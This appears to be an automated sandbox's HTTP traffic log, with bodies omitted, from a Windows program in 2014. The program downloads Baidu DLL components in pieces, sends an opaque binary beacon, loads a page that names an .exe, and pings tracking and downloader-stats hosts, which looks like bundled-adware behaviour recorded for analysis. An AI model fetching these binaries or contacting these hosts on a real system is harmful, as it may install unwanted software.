Content-Disposition: attachment;filename="BDMNet.dll"<br>

Access-Control-Allow-Origin: *<br>

<<< skipped >>>

<font color="red">GET /client/dllv5/BDMReport.dll HTTP/1.1<br>

Accept: */*<br>

Accept-Language: zh-CN,zh,en-US<br>

Connection: Keep-Alive<br>

Host: dl1sw.baidu.com<br>

Referer: hXXp://dl1sw.baidu.com/<br>

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)<br>

<br>

</font><br><font color="blue">HTTP/1.0 200 OK<br>

Expires: Tue, 09 Sep 2014 15:52:41 GMT<br>

Date: Sun, 10 Aug 2014 15:52:41 GMT<br>

Server: nginx<br>

Content-Type: application/octet-stream<br>

Content-Length: 1207520<br>

Last-Modified: Wed, 30 Apr 2014 05:24:32 GMT<br>

Cache-Control: max-age=2592000<br>

Accept-Ranges: bytes<br>

Age: 97069<br>

Via: 1.0 sdytwt85:88 (Cdn Cache Server V2.0), 1.0 tswt79:80 (Cdn Cache Server V2.0), 1.0 shiben14:10001 (Cdn Cache Server V2.0)<br>

Connection: close<br>

Content-Disposition: attachment;filename="BDMReport.dll"<br>

Access-Control-Allow-Origin: *<br>

<<< skipped >>>

<font color="red">GET /client/dllw5/BDLogicUtils.dll HTTP/1.1<br>

Accept: */*<br>

Accept-Language: zh-CN,zh,en-US<br>

Connection: Keep-Alive<br>

Host: dl1sw.baidu.com<br>

Referer: hXXp://dl1sw.baidu.com/<br>

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)<br>

<br>

</font><br><font color="blue">HTTP/1.0 200 OK<br>

Expires: Tue, 09 Sep 2014 15:52:20 GMT<br>

Date: Sun, 10 Aug 2014 15:52:20 GMT<br>

Server: nginx<br>

Content-Type: application/octet-stream<br>

Content-Length: 924496<br>

Last-Modified: Tue, 06 May 2014 06:31:30 GMT<br>

Cache-Control: max-age=2592000<br>

Accept-Ranges: bytes<br>

Age: 97087<br>

Via: 1.0 hzh64:8104 (Cdn Cache Server V2.0), 1.0 sdbz23:8080 (Cdn Cache Server V2.0), 1.0 jg9:51020 (Cdn Cache Server V2.0)<br>

Connection: close<br>

Content-Disposition: attachment;filename="BDLogicUtils.dll"<br>

Access-Control-Allow-Origin: *<br>

<<< skipped >>>

<font color="red">GET /client/dllws/BDMNet.dll HTTP/1.1<br>

Accept: */*<br>

Accept-Language: zh-CN,zh,en-US<br>

Connection: Keep-Alive<br>

Host: dl1sw.baidu.com<br>

Range: bytes=983040-<br>

Referer: hXXp://dl1sw.baidu.com/<br>

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)<br>

<br>

</font><br><font color="blue">HTTP/1.0 206 Partial Content<br>

Expires: Wed, 27 Aug 2014 23:18:00 GMT<br>

Date: Mon, 28 Jul 2014 23:18:00 GMT<br>

Server: nginx<br>

Content-Type: application/octet-stream<br>

Last-Modified: Thu, 10 Apr 2014 08:10:19 GMT<br>

Cache-Control: max-age=2592000<br>

Accept-Ranges: bytes<br>

Content-Range: bytes 983040-1178447/1178448<br>

Content-Length: 195408<br>

Age: 1193554<br>

Via: 1.0 wzpy201:80 (Cdn Cache Server V2.0), 1.0 shiben9:8888 (Cdn Cache Server V2.0)<br>

Connection: close<br>

Content-Disposition: attachment;filename="BDMNet.dll"<br>

Access-Control-Allow-Origin: *<br>

<<< skipped >>>

<font color="red">GET /client/dllws/BDMNet.dll HTTP/1.1<br>

Accept: */*<br>

Accept-Language: zh-CN,zh,en-US<br>

Connection: Keep-Alive<br>

Host: dl1sw.baidu.com<br>

Range: bytes=786432-<br>

Referer: hXXp://dl1sw.baidu.com/<br>

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)<br>

<br>

</font><br><font color="blue">HTTP/1.0 206 Partial Content<br>

Expires: Tue, 09 Sep 2014 15:52:24 GMT<br>

Date: Sun, 10 Aug 2014 15:52:24 GMT<br>

Server: nginx<br>

Content-Type: application/octet-stream<br>

Last-Modified: Thu, 10 Apr 2014 08:10:19 GMT<br>

Cache-Control: max-age=2592000<br>

Accept-Ranges: bytes<br>

Content-Range: bytes 786432-1178447/1178448<br>

Content-Length: 392016<br>

Age: 97090<br>

Via: 1.0 sdytwt89:8104 (Cdn Cache Server V2.0), 1.0 tswt88:8080 (Cdn Cache Server V2.0), 1.0 jg11:51020 (Cdn Cache Server V2.0)<br>

Connection: close<br>

Content-Disposition: attachment;filename="BDMNet.dll"<br>

Access-Control-Allow-Origin: *<br>

<<< skipped >>>

<font color="red">GET /client/dllw5/BDLogicUtils.dll HTTP/1.1<br>

Accept: */*<br>

Accept-Language: zh-CN,zh,en-US<br>

Connection: Keep-Alive<br>

Host: dl1sw.baidu.com<br>

Referer: hXXp://dl1sw.baidu.com/<br>

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)<br>

<br>

</font><br><font color="blue">HTTP/1.0 200 OK<br>

Expires: Mon, 08 Sep 2014 06:25:46 GMT<br>

Date: Sat, 09 Aug 2014 06:25:46 GMT<br>

Server: nginx<br>

Content-Type: application/octet-stream<br>

Content-Length: 924496<br>

Last-Modified: Tue, 06 May 2014 06:31:30 GMT<br>

Cache-Control: max-age=2592000<br>

Accept-Ranges: bytes<br>

Age: 217481<br>

Via: 1.0 wzpy220:8080 (Cdn Cache Server V2.0), 1.0 shiben10:10001 (Cdn Cache Server V2.0)<br>

Connection: close<br>

Content-Disposition: attachment;filename="BDLogicUtils.dll"<br>

Access-Control-Allow-Origin: *<br>

<<< skipped >>>

<font color="red">GET /sw-search-shadu/client/dllv3/BDMReport.dll HTTP/1.1<br>

Accept: */*<br>

Accept-Language: zh-CN,zh,en-US<br>

Connection: Keep-Alive<br>

Host: dlsw.baidu.com<br>

Range: bytes=1114112-<br>

Referer: hXXp://xf.baidu.com<br>

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)<br>

<br>

</font><br><font color="blue">HTTP/1.1 206 Partial Content<br>

Server: JSP3/2.0.0-b<br>

Date: Mon, 11 Aug 2014 18:50:32 GMT<br>

Content-Type: application/x-msdownload<br>

Content-Length: 93408<br>

Connection: close<br>

ETag: 30cbc602ada7cdfb0346038c05996d84<br>

Last-Modified: Thu, 20 Jun 2013 06:27:51 GMT<br>

Expires: Tue, 12 Aug 2014 14:59:13 GMT<br>

Age: 186679<br>

Content-Range: bytes 1114112-1207519/1207520<br>

Access-Control-Allow-Origin: *<br>

Access-Control-Allow-Methods: HEAD, GET, OPTIONS, PUT, POST, DELETE<br>

Access-Control-Expose-Headers: Content-Length, ETag, x-bs-request-id, x-pcs-request-id<br>

Access-Control-Allow-Headers: Range, Origin, Content-Type, Accept, Content-Length<br>

Accept-Ranges: bytes<br>

x-bs-version: 21BEDF37C0B754EE14FE2C8B0543B5C0<br>

x-bs-request-id: MTAuNTguMzQuMTk6ODA4MDoxMzEyMjA1MTYxOjI4L0p1bC8yMDE0IDIyOjU5OjA1IA==<br>

x-bs-meta-crc32: 2965621797<br>

Content-MD5: 30cbc602ada7cdfb0346038c05996d84<br>

<<< skipped >>>

<font color="red">GET /sw-search-sp/client2/ditch/25288850097/BDMZipNewForWs.dll HTTP/1.1<br>

Accept: */*<br>

Accept-Language: zh-CN,zh,en-US<br>

Connection: Keep-Alive<br>

Host: dlsw.baidu.com<br>

Referer: hXXp://dlsw.baidu.com/<br>

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)<br>

<br>

</font><br><font color="blue">HTTP/1.1 200 OK<br>

Server: JSP3/2.0.0-b<br>

Date: Mon, 11 Aug 2014 18:50:39 GMT<br>

Content-Type: application/x-msdownload<br>

Content-Length: 26004304<br>

Connection: close<br>

ETag: c7062e404128917808756500d58121ee<br>

Last-Modified: Fri, 11 Jul 2014 14:29:11 GMT<br>

Expires: Tue, 12 Aug 2014 15:00:39 GMT<br>

Age: 186600<br>

Access-Control-Allow-Origin: *<br>

Access-Control-Allow-Methods: HEAD, GET, OPTIONS, PUT, POST, DELETE<br>

Access-Control-Expose-Headers: Content-Length, ETag, x-bs-request-id, x-pcs-request-id<br>

Access-Control-Allow-Headers: Range, Origin, Content-Type, Accept, Content-Length<br>

Accept-Ranges: bytes<br>

x-bs-version: DD1C492BA7010AF29AF13DA0A61E68AF<br>

x-bs-request-id: MTAuNDYuMjMxLjQwOjgwODA6MjcwNDI3OTU1MDoyOC9KdWwvMjAxNCAyMzowMDozOCA=<br>

x-bs-meta-crc32: 2839405489<br>

Content-MD5: c7062e404128917808756500d58121ee<br>

<<< skipped >>>

<font color="red">GET /sw-search-sp/client2/ditch/25288850097/BDMZipNewForWs.dll HTTP/1.1<br>

Accept: */*<br>

Accept-Language: zh-CN,zh,en-US<br>

Connection: Keep-Alive<br>

Host: dlsw.baidu.com<br>

Range: bytes=13631488-<br>

Referer: hXXp://dlsw.baidu.com/<br>

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)<br>

<br>

</font><br><font color="blue">HTTP/1.1 206 Partial Content<br>

Server: JSP3/2.0.0-b<br>

Date: Mon, 11 Aug 2014 18:50:52 GMT<br>

Content-Type: application/x-msdownload<br>

Content-Length: 12372816<br>

Connection: close<br>

ETag: c7062e404128917808756500d58121ee<br>

Last-Modified: Fri, 11 Jul 2014 14:29:11 GMT<br>

Expires: Tue, 12 Aug 2014 15:00:39 GMT<br>

Age: 186613<br>

Content-Range: bytes 13631488-26004303/26004304<br>

Access-Control-Allow-Origin: *<br>

Access-Control-Allow-Methods: HEAD, GET, OPTIONS, PUT, POST, DELETE<br>

Access-Control-Expose-Headers: Content-Length, ETag, x-bs-request-id, x-pcs-request-id<br>

Access-Control-Allow-Headers: Range, Origin, Content-Type, Accept, Content-Length<br>

Accept-Ranges: bytes<br>

x-bs-version: DD1C492BA7010AF29AF13DA0A61E68AF<br>

x-bs-request-id: MTAuNDYuMjMxLjQwOjgwODA6MjcwNDI3OTU1MDoyOC9KdWwvMjAxNCAyMzowMDozOCA=<br>

x-bs-meta-crc32: 2839405489<br>

Content-MD5: c7062e404128917808756500d58121ee<br>

<<< skipped >>>

<font color="red">POST / HTTP/1.1<br>

Connection: Keep-Alive<br>

Content-Length: 228<br>

Content-Type: application/octet-stream<br>

Host: s.x.baidu.com<br>

Keep-Alive: timeout=600,max=1000<br>

<br>

...p........" 8445a55eb3350c912a726b3795bf47c6(.28{.}L..fwD.........u..8..(8_.9........v.>.E.{...W...Gc8.@.H.P.X.` ...h.%h...C}.K{T\QZa.L.`. .P!..~...L.<.:%.M.j..T\/$|.a.,.EDv....4.[7}E....x..>H..I....3G4.}...iI.F.`/wLZ....5.</font><br><font color="blue">HTTP/1.1 200 OK<br>

Server: iYuntianSvr<br>

Content-Type: application/octet-stream<br>

Keep-Alive: timeout=30<br>

Connection: Keep-Alive<br>

Content-Length: 140<br><pre>...p........" 8445a55eb3350c912a726b3795bf47c6(.28{.}L..fwD...........<br>u..8..(8_.9.........v.>.E.{...W...Gc8.@.H.P.X.` .....%.Q..7...l.=.%<br>..'HTTP/1.1 200 OK..Server: iYuntianSvr..Content-Type: application/oct<br>et-stream..Keep-Alive: timeout=30..Connection: Keep-Alive..Content-Len<br>gth: 140.....p........" 8445a55eb3350c912a726b3795bf47c6(.28{.}L..fwD.<br>..........u..8..(8_.9.........v.>.E.{...W...Gc8.@.H.P.X.` .....%.Q.<br>.7...l.=.%..'..</pre></font><br><br

<font color="red">GET /client/dllws/BDMNet.dll HTTP/1.1<br>

Accept: */*<br>

Accept-Language: zh-CN,zh,en-US<br>

Connection: Keep-Alive<br>

Host: dl1sw.baidu.com<br>

Range: bytes=884736-<br>

Referer: hXXp://dl1sw.baidu.com/<br>

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)<br>

<br>

</font><br><font color="blue">HTTP/1.0 206 Partial Content<br>

Expires: Tue, 09 Sep 2014 15:52:24 GMT<br>

Date: Sun, 10 Aug 2014 15:52:24 GMT<br>

Server: nginx<br>

Content-Type: application/octet-stream<br>

Last-Modified: Thu, 10 Apr 2014 08:10:19 GMT<br>

Cache-Control: max-age=2592000<br>

Accept-Ranges: bytes<br>

Content-Range: bytes 884736-1178447/1178448<br>

Content-Length: 293712<br>

Age: 97091<br>

Via: 1.0 sdytwt89:8104 (Cdn Cache Server V2.0), 1.0 tswt88:8080 (Cdn Cache Server V2.0), 1.0 jg11:51020 (Cdn Cache Server V2.0)<br>

Connection: close<br>

Content-Disposition: attachment;filename="BDMNet.dll"<br>

Access-Control-Allow-Origin: *<br>

<<< skipped >>>

<font color="red">GET /client/dllw5/BDLogicUtils.dll HTTP/1.1<br>

Accept: */*<br>

Accept-Language: zh-CN,zh,en-US<br>

Connection: Keep-Alive<br>

Host: dl1sw.baidu.com<br>

Range: bytes=753664-<br>

Referer: hXXp://dl1sw.baidu.com/<br>

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)<br>

<br>

</font><br><font color="blue">HTTP/1.0 206 Partial Content<br>

Expires: Mon, 08 Sep 2014 06:25:46 GMT<br>

Date: Sat, 09 Aug 2014 06:25:46 GMT<br>

Server: nginx<br>

Content-Type: application/octet-stream<br>

Last-Modified: Tue, 06 May 2014 06:31:30 GMT<br>

Cache-Control: max-age=2592000<br>

Accept-Ranges: bytes<br>

Content-Range: bytes 753664-924495/924496<br>

Content-Length: 170832<br>

Age: 217482<br>

Via: 1.0 wzpy220:8080 (Cdn Cache Server V2.0), 1.0 shiben10:10001 (Cdn Cache Server V2.0)<br>

Connection: close<br>

Content-Disposition: attachment;filename="BDLogicUtils.dll"<br>

Access-Control-Allow-Origin: *<br>

<<< skipped >>>

<font color="red">GET /client/dllws/BDMNet.dll HTTP/1.1<br>

Accept: */*<br>

Accept-Language: zh-CN,zh,en-US<br>

Connection: Keep-Alive<br>

Host: dl1sw.baidu.com<br>

Range: bytes=589824-<br>

Referer: hXXp://dl1sw.baidu.com/<br>

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)<br>

<br>

</font><br><font color="blue">HTTP/1.0 206 Partial Content<br>

Expires: Wed, 27 Aug 2014 23:18:00 GMT<br>

Date: Mon, 28 Jul 2014 23:18:00 GMT<br>

Server: nginx<br>

Content-Type: application/octet-stream<br>

Last-Modified: Thu, 10 Apr 2014 08:10:19 GMT<br>

Cache-Control: max-age=2592000<br>

Accept-Ranges: bytes<br>

Content-Range: bytes 589824-1178447/1178448<br>

Content-Length: 588624<br>

Age: 1193554<br>

Via: 1.0 wzpy201:80 (Cdn Cache Server V2.0), 1.0 shiben9:8888 (Cdn Cache Server V2.0)<br>

Connection: close<br>

Content-Disposition: attachment;filename="BDMNet.dll"<br>

Access-Control-Allow-Origin: *<br>

<<< skipped >>>

<font color="red">GET /client/dllv5/BDMReport.dll HTTP/1.1<br>

Accept: */*<br>

Accept-Language: zh-CN,zh,en-US<br>

Connection: Keep-Alive<br>

Host: dl1sw.baidu.com<br>

Range: bytes=917504-<br>

Referer: hXXp://dl1sw.baidu.com/<br>

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)<br>

<br>

</font><br><font color="blue">HTTP/1.0 206 Partial Content<br>

Expires: Tue, 09 Sep 2014 15:52:41 GMT<br>

Date: Sun, 10 Aug 2014 15:52:41 GMT<br>

Server: nginx<br>

Content-Type: application/octet-stream<br>

Last-Modified: Wed, 30 Apr 2014 05:24:32 GMT<br>

Cache-Control: max-age=2592000<br>

Accept-Ranges: bytes<br>

Content-Range: bytes 917504-1207519/1207520<br>

Content-Length: 290016<br>

Age: 97070<br>

Via: 1.0 sdytwt85:88 (Cdn Cache Server V2.0), 1.0 tswt79:80 (Cdn Cache Server V2.0), 1.0 shiben14:10001 (Cdn Cache Server V2.0)<br>

Connection: close<br>

Content-Disposition: attachment;filename="BDMReport.dll"<br>

Access-Control-Allow-Origin: *<br>

<<< skipped >>>

<font color="red">GET /stat.php?id=2701879&web_id=2701879 HTTP/1.1<br>

Accept: */*<br>

Referer: hXXp://tv.aiqingzhihui.com/zhibo2.html?id=pczh_107_306.exe&en=2014-8-11&go=<br>

Accept-Language: en-us<br>

Accept-Encoding: gzip, deflate<br>

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)<br>

Host: s6.cnzz.com<br>

Connection: Keep-Alive<br>

<br>

</font><br><font color="blue">HTTP/1.1 200 OK<br>

Server: Tengine<br>

Date: Mon, 11 Aug 2014 18:51:24 GMT<br>

Content-Type: application/javascript<br>

Transfer-Encoding: chunked<br>

Connection: keep-alive<br>

Last-Modified: Mon, 11 Aug 2014 18:51:24 GMT<br>

<<< skipped >>>

<font color="red">GET /sw-search-sp/client2/ditch/25288850097/BDMZipNewForWs.dll HTTP/1.1<br>

Accept: */*<br>

Accept-Language: zh-CN,zh,en-US<br>

Connection: Keep-Alive<br>

Host: dlsw.baidu.com<br>

Range: bytes=14155776-<br>

Referer: hXXp://dlsw.baidu.com/<br>

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)<br>

<br>

</font><br><font color="blue">HTTP/1.1 206 Partial Content<br>

Server: JSP3/2.0.0-b<br>

Date: Mon, 11 Aug 2014 18:51:02 GMT<br>

Content-Type: application/x-msdownload<br>

Content-Length: 11848528<br>

Connection: close<br>

ETag: c7062e404128917808756500d58121ee<br>

Last-Modified: Fri, 11 Jul 2014 14:29:11 GMT<br>

Expires: Tue, 12 Aug 2014 15:00:39 GMT<br>

Age: 186623<br>

Content-Range: bytes 14155776-26004303/26004304<br>

Access-Control-Allow-Origin: *<br>

Access-Control-Allow-Methods: HEAD, GET, OPTIONS, PUT, POST, DELETE<br>

Access-Control-Expose-Headers: Content-Length, ETag, x-bs-request-id, x-pcs-request-id<br>

Access-Control-Allow-Headers: Range, Origin, Content-Type, Accept, Content-Length<br>

Accept-Ranges: bytes<br>

x-bs-version: DD1C492BA7010AF29AF13DA0A61E68AF<br>

x-bs-request-id: MTAuNDYuMjMxLjQwOjgwODA6MjcwNDI3OTU1MDoyOC9KdWwvMjAxNCAyMzowMDozOCA=<br>

x-bs-meta-crc32: 2839405489<br>

Content-MD5: c7062e404128917808756500d58121ee<br>

<<< skipped >>>

<font color="red">GET /sw-search-sp/client2/ditch/25288850097/BDMZipNewForWs.dll HTTP/1.1<br>

Accept: */*<br>

Accept-Language: zh-CN,zh,en-US<br>

Connection: Keep-Alive<br>

Host: dlsw.baidu.com<br>

Range: bytes=13107200-<br>

Referer: hXXp://dlsw.baidu.com/<br>

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)<br>

<br>

</font><br><font color="blue">HTTP/1.1 206 Partial Content<br>

Server: JSP3/2.0.0-b<br>

Date: Mon, 11 Aug 2014 18:50:40 GMT<br>

Content-Type: application/x-msdownload<br>

Content-Length: 12897104<br>

Connection: close<br>

ETag: c7062e404128917808756500d58121ee<br>

Last-Modified: Fri, 11 Jul 2014 14:29:11 GMT<br>

Expires: Tue, 12 Aug 2014 15:00:39 GMT<br>

Age: 186601<br>

Content-Range: bytes 13107200-26004303/26004304<br>

Access-Control-Allow-Origin: *<br>

Access-Control-Allow-Methods: HEAD, GET, OPTIONS, PUT, POST, DELETE<br>

Access-Control-Expose-Headers: Content-Length, ETag, x-bs-request-id, x-pcs-request-id<br>

Access-Control-Allow-Headers: Range, Origin, Content-Type, Accept, Content-Length<br>

Accept-Ranges: bytes<br>

x-bs-version: DD1C492BA7010AF29AF13DA0A61E68AF<br>

x-bs-request-id: MTAuNDYuMjMxLjQwOjgwODA6MjcwNDI3OTU1MDoyOC9KdWwvMjAxNCAyMzowMDozOCA=<br>

x-bs-meta-crc32: 2839405489<br>

Content-MD5: c7062e404128917808756500d58121ee<br>

<<< skipped >>>

<font color="red">GET /zhibo2.html?id=pczh_107_306.exe&en=2014-8-11&go= HTTP/1.1<br>

Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xaml xml, */*<br>

Accept-Language: en-us<br>

Accept-Encoding: gzip, deflate<br>

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)<br>

Host: tv.aiqingzhihui.com<br>

Connection: Keep-Alive<br>

<br>

</font><br><font color="blue">HTTP/1.1 200 OK<br>

Date: Mon, 11 Aug 2014 18:50:59 GMT<br>

Content-Length: 1350<br>

Content-Type: text/html<br>

Last-Modified: Tue, 17 Jun 2014 13:01:31 GMT<br>

Connection: Keep-Alive<br>

ETag: "66d7a7422c8acf1:619"<br>

Accept-Ranges: bytes<br>

Server: Microsoft-IIS/6.0<br>

X-Powered-By: ASP.NET<br>

<<< skipped >>>

<font color="red">GET /downloader/start?dlver=G1.0.0&pname=guagua&pver=514&cmdtype=0&cmdid=77150006814&ad=0&oemid=0&fromurl=&webid= HTTP/1.1<br>

Accept: */*<br>

User-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows NT)<br>

Host: cj.guagua.cn<br>

Cache-Control: no-cache<br>

<br>

</font><br><font color="blue">HTTP/1.1 200 OK<br>

Server: nginx<br>

Date: Mon, 11 Aug 2014 18:51:03 GMT<br>

Content-Length: 0<br>

Connection: keep-alive<br>

P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR"<br><pre>HTTP/1.1 200 OK..Server: nginx..Date: Mon, 11 Aug 2014 18:51:03 GMT..C<br>ontent-Length: 0..Connection: keep-alive..P3P: CP="CURa ADMa DEVa PSAo<br> PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR"..</pre></font><br><br

<font color="red">GET /tg_pic/1.png HTTP/1.1<br>

Accept: */*<br>

User-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows NT)<br>

Host: img001.com<br>

Cache-Control: no-cache<br>

<br>

</font><br><font color="blue">HTTP/1.1 200 OK<br>

Server: nginx<br>

Date: Mon, 11 Aug 2014 18:55:34 GMT<br>

Content-Type: image/png<br>

Content-Length: 135179<br>

Last-Modified: Mon, 23 Dec 2013 03:08:13 GMT<br>

Connection: keep-alive<br>

<<< skipped >>>

Accept: */*<br>

User-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows NT)<br>

Host: img001.com<br>

Cache-Control: no-cache<br>

<br>

</font><br><font color="blue">HTTP/1.1 200 OK<br>

Server: nginx<br>

Date: Mon, 11 Aug 2014 18:55:36 GMT<br>

Content-Type: image/png<br>

Content-Length: 160224<br>

Last-Modified: Mon, 23 Dec 2013 03:08:12 GMT<br>

Connection: keep-alive<br>

<<< skipped >>>

Accept: */*<br>

User-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows NT)<br>

Host: img001.com<br>

Cache-Control: no-cache<br>

<br>

</font><br><font color="blue">HTTP/1.1 200 OK<br>

Server: nginx<br>

Date: Mon, 11 Aug 2014 18:55:38 GMT<br>

Content-Type: image/png<br>

Content-Length: 149164<br>

Last-Modified: Mon, 23 Dec 2013 03:08:12 GMT<br>

Connection: keep-alive<br>

<<< skipped >>>

Accept: */*<br>

User-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows NT)<br>

Host: img001.com<br>

Cache-Control: no-cache<br>

<br>

</font><br><font color="blue">HTTP/1.1 200 OK<br>

Server: nginx<br>

Date: Mon, 11 Aug 2014 18:55:40 GMT<br>

Content-Type: image/png<br>

Content-Length: 156314<br>

Last-Modified: Mon, 23 Dec 2013 03:08:12 GMT<br>

Connection: keep-alive<br>

<<< skipped >>>

Accept: */*<br>

User-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows NT)<br>

Host: img001.com<br>

Cache-Control: no-cache<br>

<br>

</font><br><font color="blue">HTTP/1.1 200 OK<br>

Server: nginx<br>

Date: Mon, 11 Aug 2014 18:55:42 GMT<br>

Content-Type: image/png<br>

Content-Length: 164337<br>

Last-Modified: Mon, 23 Dec 2013 03:08:12 GMT<br>

Connection: keep-alive<br>

<<< skipped >>>

Accept: */*<br>

User-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows NT)<br>

Host: img001.com<br>

Cache-Control: no-cache<br>

<br>

</font><br><font color="blue">HTTP/1.1 200 OK<br>

Server: nginx<br>

Date: Mon, 11 Aug 2014 18:55:47 GMT<br>

Content-Type: image/png<br>

Content-Length: 132296<br>

Last-Modified: Mon, 06 Jan 2014 08:23:44 GMT<br>

Connection: keep-alive<br>

<<< skipped >>>

<font color="red">GET /client/dllws/BDMNet.dll HTTP/1.1<br>

Accept: */*<br>

Accept-Language: zh-CN,zh,en-US<br>

Connection: Keep-Alive<br>

Host: dl1sw.baidu.com<br>

Range: bytes=819200-<br>

Referer: hXXp://dl1sw.baidu.com/<br>

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)<br>

<br>

</font><br><font color="blue">HTTP/1.0 206 Partial Content<br>

Expires: Wed, 27 Aug 2014 23:18:00 GMT<br>

Date: Mon, 28 Jul 2014 23:18:00 GMT<br>

Server: nginx<br>

Content-Type: application/octet-stream<br>

Last-Modified: Thu, 10 Apr 2014 08:10:19 GMT<br>

Cache-Control: max-age=2592000<br>

Accept-Ranges: bytes<br>

Content-Range: bytes 819200-1178447/1178448<br>

Content-Length: 359248<br>

Age: 1193555<br>

Via: 1.0 wzpy201:80 (Cdn Cache Server V2.0), 1.0 shiben9:8888 (Cdn Cache Server V2.0)<br>

Connection: close<br>

Content-Disposition: attachment;filename="BDMNet.dll"<br>

Access-Control-Allow-Origin: *<br>

<<< skipped >>>

<font color="red">GET /sw-search-sp/client2/ditch/25288850097/BDMZipNewForWs.dll HTTP/1.1<br>

Accept: */*<br>

Accept-Language: zh-CN,zh,en-US<br>

Connection: Keep-Alive<br>

Host: dlsw.baidu.com<br>

Range: bytes=14811136-<br>

Referer: hXXp://dlsw.baidu.com/<br>

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)<br>

<br>

</font><br><font color="blue">HTTP/1.1 206 Partial Content<br>

Server: JSP3/2.0.0-b<br>

Date: Mon, 11 Aug 2014 18:51:18 GMT<br>

Content-Type: application/x-msdownload<br>

Content-Length: 11193168<br>

Connection: close<br>

ETag: c7062e404128917808756500d58121ee<br>

Last-Modified: Fri, 11 Jul 2014 14:29:11 GMT<br>

Expires: Tue, 12 Aug 2014 15:00:39 GMT<br>

Age: 186639<br>

Content-Range: bytes 14811136-26004303/26004304<br>

Access-Control-Allow-Origin: *<br>

Access-Control-Allow-Methods: HEAD, GET, OPTIONS, PUT, POST, DELETE<br>

Access-Control-Expose-Headers: Content-Length, ETag, x-bs-request-id, x-pcs-request-id<br>

Access-Control-Allow-Headers: Range, Origin, Content-Type, Accept, Content-Length<br>

Accept-Ranges: bytes<br>

x-bs-version: DD1C492BA7010AF29AF13DA0A61E68AF<br>

x-bs-request-id: MTAuNDYuMjMxLjQwOjgwODA6MjcwNDI3OTU1MDoyOC9KdWwvMjAxNCAyMzowMDozOCA=<br>

x-bs-meta-crc32: 2839405489<br>

Content-MD5: c7062e404128917808756500d58121ee<br>

<<< skipped >>>

<font color="red">GET /sw-search-sp/client2/common/patch/19562458020/BDLogicUtils.dll HTTP/1.1<br>

Accept: */*<br>

Accept-Language: zh-CN,zh,en-US<br>

Connection: Keep-Alive<br>

Host: dlsw.baidu.com<br>

Range: bytes=491520-<br>

Referer: hXXp://xf.baidu.com<br>

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)<br>

<br>

</font><br><font color="blue">HTTP/1.1 206 Partial Content<br>

Server: JSP3/2.0.0-b<br>

Date: Mon, 11 Aug 2014 18:50:28 GMT<br>

Content-Type: application/x-msdownload<br>

